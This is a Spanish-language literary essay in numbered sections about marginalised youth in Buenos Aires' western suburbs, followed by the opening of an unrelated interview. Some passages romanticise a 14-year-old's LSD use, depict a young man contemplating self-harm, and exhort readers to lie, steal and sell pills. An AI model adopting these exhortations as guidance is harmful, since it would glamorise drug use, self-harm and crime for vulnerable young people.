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escabiando en la esquina quemando basura en un tacho que quemarse viva porque la estufa eléctrica derritió los cables y el fuego ganó la casilla. Mejor ser fiesta, gedencia, maldita, dañino, ver- dugo, zorra, mejor ser alguien. Mejor ser transa, trapero, chorro, puta, que llevar un CV, que esperar una hora en la vereda para ver si te toman en un trabajo de mierda, que terminar la escuela, que tener 15 días de vacaciones, que ir al centro co- munitario a hacer talleres imbéciles, que limpiar por hora. Mejor rajar sin nada que quedarse sentado en los pasillos con virulana, cucharas y una bombilla en los bolsillos. Mejor deambular que quedarse quieta aunque duelan los pies, la cintura, los hombros. Mejor perderse dentro de una misma en un viaje eterno de Merlo a Once que quedarse en la casilla a esperar que la encuentren. Mejor entrar a todo ritmo en los pasillos del bajo y encontrar la muerte, que la muerte los encuentre acá a la vuelta, en cualquier esquina, en cualquier patrullero, en cualquier gilada. Mejor un trabajo como excusa, como huida, como errancia, como previa. Mejor promotora para no ser nunca madre, cualquier cosa menos madre, menos hija, menos hijastra de ese pancho que se escabia y se pone atrevido. Mejor repar- tir volantes en el centro, respirar un aire, ese aire sucio, so- portar la mano del coordinador sobre la calza bien clavada, soportar las cosas que le dice al oído, las invitaciones. So- portar cualquier cosa, pero cualquier cosa posta con tal de estar lejos. Cualquier cosa mejor que la crueldad aburrida que les toca a ella, a sus amigas, a los pibes, a sus hermanitas, a su vieja. Esa crueldad novia, empleado, guachín, herma- na mayor, hija, vecina, novia de preso, fisura. Mejor vagar antes que Glover, preso antes que ortiba, mejor caminar la colectora antes que sentarse a esperar que los días pasen.

VIII

¿Qué decir sin ser ortiba? Sin ser careta. ¿Qué charlar sin negarle la experiencia? Esa experiencia única ¿Qué plan- teo hacerle sin aburrirla con palabras vacías, viejas, poli- ciales? Vamos en bondi a la clínica donde está una amiga

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internada. No es la primera, intuyo que tampoco será la última. Un par de pibitas de su grupo no pudieron ban- carse lo que se disparó en sus cerebros y entraron a boxes. ¿Hay algo más lindo que la primera locura que nos dio un ácido? Esa especie de disolución del yo, ese ver con todo el cuerpo aún con los ojos cerrados. ¿Hay algo más bravo que no confiar en los instintos de ese animal que es tu hija? No me voy a traicionar, no la quiero traicionar. No nos podemos traicionar, no quiero empezar con un discurso que no me creo. Hablamos de ácidos, de esa hermosa locura, insisto con los cuidados. Hablo mucho. Creo que charlo de puertas de percepción, de cosas infinitas y de manipulación de la conciencia. Me apuro en lo que digo, no levanto la voz para que nadie me escuche, el 269 está lleno y los oídos siempre atentos. Me animo, tomo coraje, tengo miedo. No creo de- masiado en la importancia de las palabras, sí en los juegos, en sus modulaciones. No quiero decir nada que después sea usado en nuestra contra, no quiero dar excusas para que después se use por ahí. Ni mentirnos. Quiero que me crea cuando le digo que aún es el momento para recibir toda esa información, para aguantar esa multiplicación de las conexiones neuronales, que 14 recién cumplidos no son tantos, que se le pueden confundir ciertas ideas, que la pueden acercar a lugares chotos. Que puede entrar a boxes. Nos miramos, no decimos nada, quiero creer que tenemos un acuerdo. La quiero mucho. Sé la edad que tie- ne. Sé lo que puede una pepa, lo que pudo en mí, lo que me cambió para siempre. Sé el garrón que es ahora esta necesidad de hablar, sé que lo necesitamos. Sé que algún día vamos a creer que lo mejor que podíamos hacer en esa época era viajar juntos en ese 269 a Leloir. De balbucear sobre pepas pasamos al faso, cogollo, paraguayo, indoor y ahí me di cuenta que lo que yo decía era medio pavo, que ya lo sabía, que esas cosas se aprenden de solo andar por donde se anda. Se aprende de las pibas como se aprende casi todo.

El 269 va despacio hasta la autopista. Hacemos silencio, creo que sabe lo que le quiero decir, me hace espacio para que lo diga. Me acuerdo del primer cuartito, del segundo, de

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colar media, del Capitán Veneno corriendo desnudo por la avenida. Le cuento la anécdota del Capitán Veneno col- gado de un bondi, nos reímos. Todavía me parece graciosa aunque el Capitán Veneno no volvió a ser quien era. La última vez que lo vimos corría desnudo en pleno invier- no, la avenida estaba llena de gente, que lo miraba inmóvil, asustada, gris.

Antes de bajar quiero cambiar el chip, que se haga cargo de adónde estamos yendo, del garrón que es todo esto. Se lo digo, pero no nos escuchamos del todo. Nunca me gustó lo que puede el miedo, pero sí creo que el estrés que nos provoca esta clí- nica va a enseñarnos algo. Veo la clíni- ca como una especie de programa de reducción de daños. Quiero que aprenda, que a ella no la visitemos nunca. No quiero ser yo el que tenga que hablar con la psiquiatra en admisión por mi hija.

Todo esto es un garrón que hay que pasar rápido. Ella hace de amiga con su amiga, yo de padre con el padre. Salimos y empieza a lloviznar, en Leloir hasta el invierno es lindo. La clínica es un lindo lugar, la gente es buena onda, tiene un parque hermoso, con unos árboles enormes a los que no les quedan hojas. Caminamos hasta la parada, nos acor- damos de Sucker Punch. No es de zombies pero casi, me dice, y nos reímos. No quiero ser tan obvio así que volve- mos charlando de otra cosa, aunque el miedo se me cuela. Aunque tengo demasiadas anécdotas. ¿Qué es lo que puede una clínica? ¿Sucker Punch o El amanecer de los muer- tos? ¿Trainspotting o Resident Evil? Un bondi, un tren y algunas caminatas que siempre ayudan a pensar.

¿Cómo evitar lo inevitable? ¿Cómo surfear la paradoja que me explota en la cara? Lo que se aprende de verdad, lo que vale la pena aprender aunque se olvida inmediatamente, son aprendizajes peligrosos. Ponen en riesgo el cuerpo y el estado de ánimo. La mutación de la percepción, mirar con las manos, sentir cada poro de la piel es un riesgo ne- cesario, urgente e irremplazable. ¿Cómo evitar lo que no quiero evitar? ¿Cómo esquivar eso que pasa y que una vez que pasa sabemos que está bien que pase?

Vagar siempre fue nuestro mejor encuentro. Su impulso vi- tal, una necesidad de probar para aprender, comprender

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para combatir y todo lo que no solo ahogue las angustias, sino que la haga devenir fiesta y revelación. Todos nos cae- mos y levantamos, entonces por qué no confiar en que lo va a hacer ella también. Si confío en la experiencia de la psicodelia como punto de partida para mirar mejor, si creo que mis mejores risas son fumando, si miento que nunca tome falopa, por qué no creer, no confiar. El bondi nos deja en la estación y volvemos caminando a casa. La miro como solo miran los que tienen algo que decir que creen funda- mental. No lo digo. Ambos sabemos que es complejo char- lar de lo que sabemos. Sabemos, confiamos, entendemos que las palabras muchas veces no dicen nada y que este viaje en el 269 ya nos dijo mucho. Ella intuye lo que creo, mi miedo, mis certezas. Yo sé que quiero que no viva en un tupper, que se equivoque, que se curta, que pierda y gane. Quiero que no cuaje. Que entien- da lo que tiene que entender, para no tener miedo, para saber que la normalidad es violencia. Que viva la potencia de no cuajar. Que salga al mundo a dársela en la pera, por- que si no el mundo se la da a ella. El miedo a que se trans- forme en un despojo me hace aclararle que por la nariz nunca, y que la pasta con escabio no enseña lo que puede un cuerpo, sino todo lo contrario. Hablo y desconozco las fórmulas químicas del presente, las joditas y los pasillos. Pero sé que manija, milonga y gilada siguen siendo lo que supieron ser.

Las alegrías con las pibas, los garrones permanentes y lo diferente que es la parada del cementerio en las maña- nas luminosas. Las aulas de todas las escuelas por las que pasó y no piensa volver, las mudanzas cada vez más lejos que empeoran todo, los momentos olvidables, las lágrimas por las risas de unas nenitas de 2do que no puede olvidar. El cuartito de los gendarmes en Moreno. Los corsos en el barrio que siempre son a muertes, el olor a espuma y agua podrida, las lentejuelas, esta tristeza enorme y el miedo para siempre a los borrachos.

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IX

Marchar a la comisaría sabiendo la respuesta, llorar a los muertos de ambos bandos, hacer cuadras de más para evi- tar a los giles, esperar el 238 en Libertad. Embarrarse al pedo, hacer los deberes en la copa de leche, sentir vergüen- za en la escuela. Odiar la cara de esos de giles que no dan más de anti chorros, odiar a las gordas que van a buscar la comida sin despegarse del Facebook, ese odio en el pecho por acompañar a la vieja que le hace llevar los tapper.

Los besos que ya no quiere dar, los pibes que son unos pan- chos. Las amigas hechas madres, hechas putas, hechas mierda. Los besos que sí quiere dar pero no encuentra. Los cansancios, los exámenes, los talleres, visitar al pa- drastro en la tercera. Aprender a caminar haciéndose respetar donde no existe el respeto.

Volantear en el centro con tal de no quedarse en el barrio. Un trabajo, una excusa, una huida, una manera de estar andando, vagando, de no quedarse quieta. Un dolor como acá, por la boca del estómago y que se le llenen los ojos de lágrimas cuando vuelve en el Sarmiento. No quiere vol- ver, ni estar, ni irse. No quiere ya casi nada. No quiere esto que siente y no sabe qué es. Lo que no le gusta, lo que no quiere aunque no pueda, lo que le sobra en una vida de pocas cosas.

No quiere nunca más acompañar a la abuela al cajero, no quiere hacer la cola mientras esa vieja egoísta espera sen- tada en una parecita a la sombra, no quiere darle la plata para que salga corriendo al bingo. No quiere ir a trabajar a la feria para la tía que mal paga, ni cuidar guachines por dos mangos, ni limpiar por hora. No quiere ir a la parro- quia, ni a los talleres por la beca, ni soportar a los novios de la mamá.

Sabe que no quiere, no es que sepa lo que no quiere, es dis- tinto, más profundo, más revelador. Sabe que amasa un no que se tiene que volver imparable. Un no que se repite para subsistir, para respirar. Un no manija, de enojo, de hartazgo. Un no que sale natural de este garrón que es vi- vir, viajar, conseguir una changa, perder amigos, ver ami- gas rotas para siempre. Un no que sale natural por el he- cho de entender que el amor no es eso que se enseña, ni se siente. Decir no para rajar, para vivir, porque no da más

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de la opresión que siente en el pecho. Un no profundo, violento, destructor. Un no iracundo, punk, todopoderoso, ATR, ideológico como pocas cosas en esta invasión. Solo el no muestra la verdad del mundo, este mundo, su mundo que es una paja.

El gesto de decir no, de atacar esto que les pasa, el rechazo posta de esta realidad crea un pensamiento crítico. El no es posibilidad de pensamiento, de pensar la propia vida. Repetir el no, susurrarlo, pensarlo, gritarlo sola, llorarlo, empezar a gritarlo con los pibes también, hacerlo espacio de decisión colectiva. Darle fuerza, rancharlo, aguantarlo en la plaza toda la noche. Decir no para empezar a discu- tir esto que es su vida, decir no porque esto que es así, no puede ser la vida. Gritar no como espacio nuevo, diferente, límite.

No una y mil veces a este presente inamovible, a este futu- ro cortito, a este momento que no siempre es encantador. No a la gorra, a los jefes, a los punteros, a ser madre, a las trabajadoras sociales, a los ortibas, a las chetas, a los que quieren psicologizar la existencia, a las que quieren tra- bajar socialmente la fiesta. Un no urgente para resistirse a la captura de la vitalidad. Un no como punto de partida para empezar a vivir.

Tiradas en el colchón se cuentan cosas y arrancan en una que les encanta, en una que es de ellas dos después de tan- to tiempo. Se extrañaban tanto que no paran, porque la manija es enorme. De las palabras a las risas y de ahí a los abrazos, pasando por los uhhhh... ¿te acordás? Después, un poco más calmadas, hablan de lo que siempre quieren, de lo que nunca pueden. Agus se ríe de cuando Mara quería ser bailarina clásica y las dos se ríen de imaginar ese culo con tutú. Quise bailar en Pasión... ahí, con la vagancia, este totó re iba, dice y estallan. Se ríen en voz baja para no despertar a la vieja que duerme con las hermanitas en la pieza. Están tentadas, lloran. La risa sube de la panza y explota aunque no quieran. Agus suplica silencio con un

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X

shhh que termina en risa y se tientan más. Sin que haya ningún motivo especial, las dos a la vez se acuerdan del salón de fiestas que de afuera parecía un castillo. Que- rían festejar los 15 cuando todavía creían en esas cosas, y la risa se vuelve incontrolable solo de imaginarse con el vestido, dando las velas y bailando el vals. ¿Te imaginás la foto del vals con el gil del Joel?, y se tapan la cabeza con almohadones para acallar la risa. Un poco más calmadas, miran fotos y Agus le señala a Pink Floyd. Muy chi- quito, muy flaquito. Tiene granos y es muy negrito, dice Mara que está acostumbrada a otras cosas. A tipos, no a guachines. Agus insiste en hablarle de su amigo, de lo segundero que puede ser, de lo buen amigo que siempre es, de que consigue flores bien chetas. Intenta explicarle algo que no puede, algo que solo siente ella cuando él la escu- cha, cuando se tiran a fumar, cuando viajan en el furgón. Le cuenta que Pink Floyd tiene una especie de ternura única, de amistad genuina, de que es el único guacho que se deja querer lindo. Pero se da cuenta de que el tema pinchó. Están calladas un rato hasta que Mara le mues- tra una foto de Ludmi y se derriten de amor. Ella es mi verdadero amor, le jura a Agus. Por ella hace lo que no quiere, por ella banca lo que haya que bancar. No quiere ni un poquito que le pase lo que les pasó a ella y a Caro. Eso sí que no, cualquier cosa menos la vida garrón que se comieron de chiquitas. El silencio gana por primera vez. Afuera la noche está hermosa y salen sin hacer ruido para el kiosko de Raquel.

XI

Se quieren de manera suave, tierna, sincera. Él cada día está más solo, más ido, más gil y por eso ella cree que tiene que hacer de mamá garrón, de novia cuidona, de amiga leal. ¿No tiene un transa en Merlo?, se pregunta mientras lo espera en el andén. Se acomodan en el furgón y ella em- pieza con una catarata de consejos. Él escucha paciente, le sonríe y le dice que sí, que no se preocupe, que claro. Les encanta el furgón. Tal vez ir al bajo sea una excusa, tal vez

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cuidarlo sea otra. Suben, buscan el mejor lugar, charlan, escuchan, cuelgan. A veces miran pasar esa ciudad enor- me desde la ventanilla.

Están seguros de que el furgón es de la vagancia y miran con enorme desconfianza a quienes no saben viajar. No les gusta las que hablan de series, los que están engrupi- dos de chorros pero solo robaron un par de teléfonos a las doñas, o esas pibas que suben al furgón solo para hacerse las callejeras pero van todos los días a la escuela. Se ríen de los fisuritas que ya en Villa Luro se acercan a la pri- mera puerta, ansiosos por bajar en Flores, por salir co- rriendo, por saltar desde el andén antes de que arranque el tren. Siempre los escuchan contar historias de transas, precios, corajes y raros descuentos. Ahora esos fisuritas son ellos y se ríen todavía más. Odian que los viejos suban al furgón. Odian que se besen, que se hagan chistes, que se rían como se ríen los que es- tán noviando una vez más, como si no hubieran aprendido nada. Agus repite todo el tiempo que los viejos son tristes y feos. Pink Floyd se ríe, le da un beso en la mejilla y sabe que nunca va a ser viejo. El viaje avanza y no puede dejar de contemplar a esas no- vias tristes que soportan sin ganas a pibitos que solo quie- ren romperse. Novias chiquitas, guachinas casi, más chi- quitas que ella. Que se sientan con su tremenda cara de orto donde van las bicis, que se esconden, que se hacen chiquitas, se acurrucan, esperan atentas. Hartas de una suerte garrón que no quieren, que no saben, que se les es- capa. Noviecitas que miran con resignación cómo ese gil al que le dice novio habla y cuenta hazañas a chabones que lo van a zarpar. Novias que aprendieron que querer es así, que para ser cuidada hay que cuidar antes, que para ser querida hay que pagar este tipo de precio antes, que la vida es esto, que aunque cuiden están solas. Novias mamás que aguantan casi por obligación a giles que quieren besos para afirmar que no están tan solos. Que se aferran a esos besos como a la base, que prometen y piden pruebas de amor, que lastiman.

El tren sale de Floresta y todo muta; la disposición de los cuerpos, los que llegan del fondo, la charlas que se inician,

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las palabras nuevas que dicen un mundo entero, el amor que arranca, la ansiedad que se enciende. Hay algo nue- vo que vibra, algo que se reinicia, un matcheo silencioso, una complicidad urgente. Todo se enciende, se despierta, se ilumina, aunque en un rato todo lo que fue va a ser vi- rulana, cuchara y una bombilla.

XII

Los olvidos y los recuerdos se le mezclan cuando escabia solo. Piensa en las jodas bien piolas que organizaron con sus primeros laburos, en la moneda que hacían así de fá- cil, en todo el escabio que compraban hasta que cerraba el kiosco de Raquel. Achina los ojos como enfocando y le viene la cara de todos esos giles que verduguearon con Roli, esa vez que los peruanos los corrieron en Floresta. Siempre le vuelve a la cabeza su primera vez al bajo, esos nervios, ese miedo de guachin. Cómo hacían la cola tan ordenada, cómo bajaban la mirada y cómo en el camino de vuelta esquivaban miedos, chorritos y policías. Unos tra- gos más y la manija casi que anda sola, le viene el gusto a sangre en la boca de todas las peleas, el olor a podrido de las mañanas cuando todavía vivía ahí nomás del Recon- quista, le viene el mundo entero cuando escabia solo. Ese mundo de mierda del que tocó ni bien pudo. Piensa en lastimarse, romper la botella y marcarse los bra- zos, las piernas, las manos, el cuello si es necesario. Mira a su alrededor buscando algo que corte, así no rompe la bo- tella que todavía tiene escabio. Piensa en Abigail y pien- sa en que nunca más la lastimaría. Le da vergüenza todo lo que hizo, aunque lo volvería a hacer. Sabe que no pue- de explicar cuando salta así, cuando se le traba la cabeza, cuando siente que el mundo entero lo descansa, cuando los celos lo queman todo por dentro. Le pega una trompada a la pared y se queda un rato mirándose la mano. La triste- za sigue, sube desde algún lugar hasta hacerse un nudo en la garganta. Corte que se odia, por no saber querer como le dijo una vez la psicóloga de la escuela, que se equivoca para quedarse solo.

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Cuando le viene el hambre garronea algo por ahí, en cualquier lugar, donde dé. A los barcitos y panchirolos del andén ya ni puede acercarse, casi que tiene prohibido los andenes del Sarmiento. Sube al tren, baja y toque, que ni lo vean. A la Fábrica de Pizzas de Castelar ahora duda en ir, siempre hay un gil, siempre hay un ortiba que lo quiere boxear por sus modos, por lo atrevido, por no pedir permiso, por algo que dicen que hizo. Siempre hay gendarmes cerquita, siempre hay una deuda de algo. Cuando puede intenta llegar a horario a la parroquia de Ituzaingó, pero no se tienen que dar cuenta que está escabio. Las minas de ahí son buenas pero no quieren a los borrachos.

Hay veces que no da más, que necesita parar, llegar a algún lado, cerrar los ojos sin estar alerta. Entonces se toma el tren a Merlo y camina como atontado desde la estación hasta la casa donde la mamá vive con las hermanitas. Intenta caminar erguido, bien careta, Sin llamar la atención de ninguna doña que le pueda decir después a su mamá que lo vio por ahí, así, de esta manera, todo cachiva. Una vez en el barrio y conservando lo poco que le queda de lucidez, espera que sea la hora, evita que alguien lo vea y cola por atrás de los patios. Elisa todavía deja la llave de la puerta del costado escondida en una maceta. Ella se repite porque él se repite y así sostienen casi el último gesto de madre e hijo. Nada cambió de la última vez. Ya ni lugar tiene en su casa, apenas un cajón. Ya ni es su casa, apenas un olor.

Aprovecha que sus hermanitas están en la escuela y se re- fugia en la pieza de ellas. Entra despacito, se fija de no en- suciar con barro, no quiere que nada dé cuenta que estuvo. Tirado en la cama le laten un poco más los escrachos. Se toca las piernas, pasa sus dedos por cada nombre, por cada fecha, las yemas de sus dedos casi que pueden leer. Mu- chos muertos en tinta para la edad que tiene, exagerada- mente demasiados, algunos nombres que ni recuerda qué hacen ahí y una fecha que nunca olvida. De a poco espera que lentamente que se le vaya el pedo, aunque esto ya no es decisión de él. Mira la tele, papea algo, se lava la cara, juega a plantas vs Zombies en la tablet de Milli. Mira

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sus cuadernos de la primaria que la mamá aún tiene en su cajón, pasa las hojas, pasa el tiempo. Está unos pares de horas y arranca antes que vuelvan de la escuela, antes que la casa se llene de las vidas de ellas. Él no quiere verlas, ellas no necesitan verlo, mejor así. Les revisa los cajones donde tienen la ropa, encuentra unos pesos que ellas siem- pre ahorran, los agarra y se va.

XIII

Organizar el tiempo es siempre una tarea difícil, abnega- da, ortiba. Escuela, familia, centros comunitarios, talleres. Pasado, presente y futuro. Organizar el tiempo para evi- tar el desquicio, el desborde, las mutaciones. Segmentar las vidas, ocupar el tiempo. Organizarlos para un futuro en el que ya no creen, sacar los pibes de la calle, que hagan caso, que sean alguien. Organizar el tiempo de manera institu- cional como otra forma de decir salida laboral, empleado, carrera, 15 días de vacaciones, titulo, gato. Gestionar todo este apocalipsis hasta negarlo, hasta hacerlo vida normal, finita y gris. Las pibas y pibes ya saben que no hay expecta- tivas, ni cuentitos, ni chamuyos posibles. Hay, sí, cuidados, atención y ser pillas. No hay proyección, ni futuro, ni evolución, ni tiempo organizado, hay momentos. Momentos en los que es imperioso segundearse, momentos de correr, de ser bien atrevidas con los que se hacen los atrevidos, de ser invisibles, anónimas, de ser uno más entre el resto. Momentos de acompañar, de colgarla, de refugiar, de hablar y hablar hasta que no quede escabio. Momentos de reírse, de ser fiesta, de devenir gedencia con quie- nesquieren. Mo- mentos de aparición real de eso que quieren ser, de afec- tarse posta.

Un bloque de momentos sin tiempo donde se arma una afi- nidad, una complicidad, una nueva forma de trama so- cial, otra manera de hacer intercambios. Torsión sobre el tiempo para escapar a la manija paranoica de atraparlo que tienen otros, que no es de ellos. Deserción del tiem- po organizado para hacer otras experiencias más vitales.

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Raje del tiempo norma, del tiempo aula, trimestre, recreo. Tiempo desquiciado hecho momento como otra forma de decir apocalipsis, como otra forma de huir, como otra for- ma de revelarse.

Ya no hay explicaciones, ni consejeros, ni buenas intencio- nes. Ya no hay nada que no pueda lo que puede un momen- to. Ya no hay posibilidad de que cada agresión no sea con- testada en cualquier momento. Ya no hay contingencia en la que no se planten, ya no aceptan que se les prohíba nada, ya no arrancan si ellas no quieren. Ya no hay obediencia. Ya no se quedan quietas. Se crean espacios, brechas, oasis, y buscan intuitivamente que se expandan, se dilaten, se pierdan. El ritmo se al- tera, se rancha, se corre por las calles desiertas, se hace esquina, se juntan en las plazas, aulas, se adueñan de los espacios, se fabulan los pasillos, se quieren de la manera que se quieren. Se crea así otra forma de temporalidad, una satis- facción especial por distorsionar el tiempo has- ta hacerlo explotar casi sin saber lo que acaban de hacer.

XIV

Ni entrenar, ni educar, ni transmitir: entregarse a este apocalipsis. Vagar con los signos que se van recolectando. Pispiar, errar, ranchar, reírse, andar en bici. Entrenarse en la improvisación, en cómo se camina, en cómo equivocarse. Amasar una predisposición callejera bien pilla. Confiar sin confiarse, intentar contrarrestar el miedo que nos da todo. Salir a la calle porque la asfixia de adentro la mata.

Segundearnos siempre fue la mejor manera de vivir este apocalipsis zombie, tirarnos una soga, compartir nuevas posibilidades, pavear. Desertar, huir, mutar, correr el últi- mo tren en Liniers. Plagar el viaje de chistes, reírnos de quienes ya mutaron. Obligarla a que pase por debajo de lo molinetes, a que coma el yogur directamente en la gón- dola de los lácteos, a construir enemigos, a no querer a las maestras, a no saludar con un beso si no quiere. A tomar el 238 y que se curta. Que sepa que nada es para tanto.

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Llevarla a la escuelita municipal de arte, a teatro, a telas en Haedo hasta que llore de hartazgo, a cada marcha hasta aburrirla, a cada recital hasta que entienda. Volver de una muestra del club y que nos roben, así aprendemos. Bancar a los ladrones de todas maneras, no denunciar. No aceptar que la policía nos lleve en patrullero a casa por ética, por dignidad, por miedo a que nos vean, para sostener cier- to prestigio mutuo. Ir a clínicas psiquiátricas a visitar a las amigas que no pudieron con toda la maravillosa locura que dan las pepas y luego, de un toque de estar ahí, dudar de nuestra cordura.

Sufrir los paros docentes y aburrirnos en una plaza, frente a la tele, por los cibers, jugando con unas Barbies chinas que se les aplasta la cabeza. Colgarnos del cable, defender guachines, plantarse a los gendarmes de la estación, feste- jar la quema de los trenes. Confiar en sus intuiciones, en sus palabras, en su gedencia. Traspasar los límites, desco- nocerlos, que su vitalidad sea nuestra única verdad. Con- fiar en lo que hicimos, en lo que pudimos. Ir a buscarla a la 1ra de Morón y enojarme porque le recabió. Aceptar las mentiras como parte del acuerdo. Sentirnos chistosamen- te orgullosos de lo que hacemos. Caminatas eternas discutiendo cuál es la mejor arma con- tra los zombies: ¿katana de Michonne, ballesta de Daryl, creer en las amigas? Que haga su propia faca, que se plan- te, que disfrute de la adrenalina que da defenderse, que ataque. Conquistar los espacios no ya por gusto, sino por necesidad. Reírnos de que colgaríamos como Shaun. Eva- luar seriamente si la casa de la mamá o la mía es mejor como trinchera de resistencia zombie. ¿Planta baja, casa grande, depto al fondo, pasillo eterno, un cuarto piso desde donde se domina la avenida?

Ser zombie, ranchada, que no se note. Fake, rocha, deser- tora, socorrista, manija. Salir a la ruta como en Zombie- land. Huir de la resignación, del futuro, de la culpa, de la educación. Irse al campo, refugiarse en San Marcos, estar al acecho. Saber que nuestros caminos se separan, que tal vez ya no se crucen. Entrenarse en el desapego. Conquis- tar el apocalipsis, el regocijo de haber llegado acá a donde se está.

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Si hablamos del apocalipsis zombie lo hacemos de sus cuali- dades, de cómo se relaciona con lo que puede ser, con lo que pasa de manera genuina. No es solo un lugar, es eso que está pasando, eso que pasa al salir, al escapar, al rajar. Es el lugar a donde se llega y es el raje también. Es lo que se va haciendo cada vez. No es un sistema, no hay reglas. Es un momento aún muy enigmático, repleto de agujeros, quie- bres, saltos, tonos. Es intemperie absoluta y refugio vital. El apocalipsis aparece cuando ciertas posturas, ciertas co- sas que ya no dicen nada porque ya no pueden nada, se van dejando de lado, se van volviendo inasibles. Cuando lo real cobra una dimensión única, contundente, fabulante. Cuando ya no proyectan futuro. El apocalipsis como momento en el que se pueden imprimir otras realidades al mundo. Como campo genuino de experimentación, fa- bulación y goce. Siempre tiene algo de indeterminado. Hay sorpresas e im- previstos. Tiene una vitalidad que no se domina. La falta de orden, la situación aparente de agobio, la proximidad de la amenaza y la sin- razón de lo que está pasando hace que se vayan desplegando acciones para sobreponerse al desconcierto y a esa real crueldad que supera instancias de comprensión. Pensar el apocalipsis es pensar lo im- pensable, lo no contado anteriormente, lo que se escon- de. Desplegar estrategias de supervivencia y creación en lo que para muchos es una situación intolerable. Vivir el apocalipsis es vivir lo posible, lo que sucede sin llanto, sin tanta queja, sin brújula, casi sin límites. ¿A qué hora pasa el último tren por Sourigues? Todo acontece en el mien- tras tanto, no hay mapa previo del apocalipsis, no te pue- den mandar la ubicación, no hay un camino, no hay rece- ta, ni datos. Pura intuición que prueba, que analiza, que experimenta, que extrae señales y las procesa, que realiza conexiones con el material que hay. Apocalipsis modo de ser, predisposición para salir a la calle, pura suerte, hartazgo familiar, estado de ánimo, implosión, story, poema, corrida en medio de la noche, estribillo, kios- co las 24 horas, plancha, vivir con el sobrinito, rola, Bajo

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XV

Flores. El apocalipsis puede ser ese lugar donde siempre te puede recaber o material de mil encuentros. Apocalip- sis recital, marcha, escrache, amigo Glover, cumple de 15 allá en Merlo cerca del Reconquista y lejos de la estación, fiesta a muerte en San Martín, amiga que visita al viejo en Marcos Paz, huida, deserción, pasillo, aula. Territorio donde se despliega no ya el miedo a lo desconocido, sino a lo semejante, a lo que pasa todos los días, el miedo a que te puede tocar porque les tocó a todos.

Algo pasa ahí donde todo parece hostil, violento, revuelto, desquiciado. Mundo abierto a que pasen cosas, mundo ranchada, anti cheto, derrochón. Mundo manija, desor- den, guerrilla, viaje, transa. Mundo de la vagancia don- de el impulso hacia lo vivo se presenta de manera caótica, donde los guachos se transforman en baqueanos, lectores de signos por venir.

Donde todo parece pura indefensión, pero donde no hay tanto que defender y sí mucho por experimentar. Apocalipsis piba que dice basta, encuentro con amigas en la plaza del vagón, salida de la escuela, ranchada en el Congreso, segundeo, guacho atrevido que rompe la noche por Rivada- via. Apocalipsis como problema de vida o muerte, pero también como posibilidad concreta de hacer mundo. XVI

Hay que aprender de esas pibas que se toman el 269 en el Cruce Castelar, corren el último tren y en Liniers se to- man otro bondi para llegar a una fiesta que ni fueron invi- tadas. Aprender de su andar a esas horas muertas de risa, con ese top, con esos ojos negros, con esa confianza descon- fiada, con esa prepotencia. Hay que aprender a mentir, a engañar, a clavar el visto, a plantarse como lo hacen ellas, a correr sin mirar para atrás, a volver juntas. Aprender de sus miradas, de su deambular, de su gedencia. Aprender que solo se aprende lo que se necesita, cuando se lo necesi- ta. Aprender que el consumo libera y el confort no educa. Ni trabajadoras, ni lucha, ni neoliberalismo, ni solidaridad

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de clase, ni formación política, ni ir a marchas, ni pase a planta permanente, ni talleres para ocupar el aburrimien- to. Desobediencia de toda regla, pero sin transgresión, sin andar diciéndolo por ahí, sin autoafirmación ideológica, sin tanta bandera. Pura deserción. Desdén desde el carro, vagar por la ciudad hasta que pase algo, bajar en Flores, en Morris, en Paternal, perderse en los pasillos, mero- dear, sentir miedo, tener la certeza de lastimar si es necesario. Gederla fuerte. Escabio, papeo y sustancia.

Hay que aprender de los pibes dónde están las cámaras del monitoreo municipal, qué es lo que puede la Local, cuál de los chinos en el súper es el que está enfierrado, cómo tramitar una pensión, cómo negociar con los de la Ter- cera, cómo jurarle a la trabajadora social del juzgado que esta vez sí, que esta vez se va a rescatar. Hay que cruzar de vereda cuando vienen de frente, pero seguir su itinerario, observando su caminar, su prepotencia, sus marcas, sus escrachos. Su apuro sin saber adónde ir, su incertidum- bre que se convierte en estilo.

Ni futuro, ni quejas, ni currículum, ni asamblea, ni digni- dad trabajadora, ni diseño de rutinas, ni boletín, ni ascen- so social, ni inclusión como excluidos: segundearse como único gesto válido. Una búsqueda de atajos permanente, un tanteo intuitivo, un tiempo desquiciado. Una correcta lectura del mientras tanto para ir traspasando los límites. No ya porque los límites importen, sino como condición del vagar vagancia.

Hay que aprender a no ser mulo de nadie, a robar flores al padrastro solo para convidar, vender pepas para pagarse un viaje. Enfiestarse con toda la vagancia antes que adherir al paro, antes que marchar desde San Cayetano, antes que defender la educación pública, que aportar a la Porquejubilación. frente a la miseria planificada hay que aprender a ser maldita, dañino, verdugo, zorra, aprender a ser alguien. Aprender que es mejor ser transa que esperar una hora en la vereda para ver si te toman en un trabajo de mierda, que es mejor cualquier cosa que terminar la escuela, que tener 15 días de vacaciones, que ir al centro comunitario, que limpiar por hora, que cuidar nenitos detestables.

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Hay que aprender de los guachines que saben qué hacer en un allanamiento, quién es el transa de la cuadra y en qué auto anda el jefe de calle cuando entra al barrio. Saben qué decir en el centro comunitario para cobrar la beca. Aprender a ser malditos, atrevidos, segunderos. Aprender a aguantar las trompadas del padrastro, lo que es el miedo de la madre, a no creer en ningún adulto desde muy chi- cas. Aprender de memoria la clave de la tarjeta de la abue- la, los pasos de las chicas de Pasión, que la copa de leche es un negocio de la coordinadora y algunas más, que casi siempre están solos, que el mar es inmenso y azul, aunque nunca lo vieron. FIM.

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FACTUALIZACIÓN FICCIONAR Y ALTERACIÓN DE UNO MISMO

TECNOLOGÍAS DE LA

ENCARNACIÓN

FACTUALIZACIÓN FICCIONAR ALTERACIÓN DE UNO MISMO

TECNOLOGÍAS DE LA

ENCARNACIÓN

Tom Nóbrega. Luiza Crosman y Nicolás Llano – En El capital está muerto usted aborda la teoría como una forma de literatura y subraya que el acto de crear un nuevo lenguaje puede ser vital para poder percibir y analizar plenamente el momento en que nos encontramos. Esta es una pregunta en dos partes: ¿Estamos leyendo mal la teoría todo el tiempo? ¿Cómo debemos leer la teoría?

